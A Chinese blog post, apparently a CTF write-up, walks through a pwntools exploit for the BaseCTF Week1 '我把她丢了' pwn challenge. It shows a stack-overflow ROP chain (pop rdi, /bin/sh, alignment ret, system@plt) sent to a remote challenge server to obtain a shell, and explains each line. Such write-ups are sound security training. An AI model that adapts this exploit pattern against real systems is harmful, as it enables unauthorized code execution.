BaseCTF[Week1] 我把她丢了 pwn 复现-入土为安的第二十四天

 

from pwn import *
io=remote("challenge.basectf.fun",45303)
elf=ELF('./pwn')
pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)
io.recv()
io.sendline(payload)
io.interactive()
  1. elf = ELF('./pwn'):加载本地的二进制文件 pwn 的 ELF (Executable and Linkable Format) 信息。通过 ELF 对象,你可以方便地访问二进制文件中的符号和地址信息。

  2. pop_rdi = 0x401196:这是一个地址,指向一个 “pop rdi; ret” 指令的 gadget。在这个地址处的指令会将 rdi 寄存器的值设置为指定的值,然后返回到下一条指令。这个 gadget 用于在利用过程中设置 rdi 寄存器的值。

  3. binsh = 0x402008:这是一个硬编码的地址,指向 /bin/sh 字符串在内存中的位置。这个字符串作为参数传递给 system 函数,用于打开 shell。

  4. ret = 0x40101a:这是一个硬编码的地址,指向一个 ret 指令的位置。这个 ret 指令用于修正栈对齐问题,使得程序能正确地从栈上返回到下一个函数。

  5. shell = elf.plt['system']:获取 system 函数在 Procedure Linkage Table (PLT) 中的地址。PLT 是用于动态链接的表,包含了到实际函数实现的跳转地址。elf.plt['system'] 将会返回 system 函数的正确地址,这个地址会在程序运行时被加载到内存中。

  6. payload = b'a' * (0x70 + 8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(shell):构造一个 payload。这个 payload 由以下几部分组成:

  7. io.recv():接收来自目标程序的初始输出。这通常用于同步,确保在发送 payload 之前先读取程序的初始响应。

  8. io.sendline(payload):将构造的 payload 发送到目标程序,以触发缓冲区溢出并执行构造好的代码。

  9. io.interactive():将程序的控制权交给用户,使用户可以与获得的 shell 进行交互。此时你可以在远程服务器上执行命令。

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值